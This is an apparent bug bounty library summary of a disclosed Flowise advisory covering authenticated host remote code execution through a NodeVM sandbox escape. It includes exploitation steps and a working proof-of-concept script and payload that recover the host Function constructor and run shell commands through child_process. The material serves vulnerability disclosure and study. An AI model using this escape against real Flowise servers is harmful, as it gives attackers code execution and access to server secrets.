# FlowiseAI: Authenticated Host RCE via POST /api/v1/node-custom-function and NodeVM Sandbox Escape

Flowise's unauthenticated-at-route-level custom JS endpoint runs user code in NodeVM, escapable via Error constructor chain to achieve host RCE.

- Payout: Research
- Severity: critical
- Program: Flowise
- Found by: ESPanda666
- Disclosed: 2026-05-14
- CVE: CVE-2026-46442
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-9rvc-vf7m-pgm2
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-9rvc-vf7m-pgm2
- Tags: area:web domain:oss domain:web impact:internal-access impact:rce kind:research platform:ghsa sev:critical tech:nodejs technique:source-review vuln:access-control vuln:rce vuln:sandbox-escape

**Target:** POST /api/v1/node-custom-function endpoint / NodeVM sandbox
**Root cause:** The custom-function route lacks permission middleware, and when E2B_APIKEY is unset it silently falls back to NodeVM, which leaks host-realm Error objects whose constructor chain yields the host Function constructor.
**Steps:**
1. Authenticate with any valid session or API key.
2. Send `POST /api/v1/node-custom-function` with `javascriptFunction` containing code that throws an Error with `error.name = Object.create(null)` and returns `error.stack`.
3. In the catch handler, obtain `e.constructor.constructor` to recover the host Function constructor.
4. Invoke `FunctionCtor('return process.getBuiltinModule("child_process")')()` and run `cp.execSync('id')`.
**How found:** Noticed the route registered without permission middleware unlike sibling routes, then traced the execution chain to the E2B/NodeVM fallback and probed the sandbox boundary via an Error object escaping the VM realm.
**Exploitation:** Any authenticated user or standard API key POSTs attacker JS to the endpoint; with E2B_APIKEY unset (default), NodeVM executes it, the Error-object escape yields host Function, and child_process.execSync runs commands as the Flowise server process.
**Escalation:** From sandboxed JS to host process: read env vars/secrets, filesystem access, outbound requests, persistence and lateral movement foothold.
**Insight:** When a sandbox is a fallback gated on an env var, check the fallback path; host-realm Error objects crossing a VM boundary expose `constructor.constructor` to recover the outer Function constructor.

## Proof of concept (copied exactly from the original report)

**Standalone NodeVM escape PoC script**

```
// poc_Flowise_NodeCustomFunction_RCE_2026.js
const path = require('path');

delete process.env.E2B_APIKEY;
process.env.TS_NODE_COMPILER_OPTIONS = JSON.stringify({ moduleResolution: 'NodeNext' });

require(path.resolve('targets/Flowise/node_modules/ts-node/register/transpile-only'));

const { nodeClass: CustomFunction } = require(path.resolve(
  'targets/Flowise/packages/components/nodes/utilities/CustomFunction/CustomFunction.ts'
));

const attackCode = `
async function f() {
  const error = new Error();
  error.name = Object.create(null);
  return error.stack;
}
return await f().catch(e => {
  const FunctionCtor = e.constructor.constructor;
  const cp = FunctionCtor('return process.getBuiltinModule("child_process")')();
  return cp.execSync('id').toString().trim();
});
`;

(async () => {
  const node = new CustomFunction();
  const result = await node.init(
    { inputs: { javascriptFunction: attackCode } },
    '',
    { appDataSource: {}, databaseEntities: {}, workspaceId: undefined, orgId: undefined }
  );
  console.log('[RCE OUTPUT]', result);
})();
```

**Sandbox escape payload using error constructor**

```
const FunctionCtor = e.constructor.constructor;
const cp = FunctionCtor('return process.getBuiltinModule("child_process")')();
return cp.execSync('id').toString().trim();
```

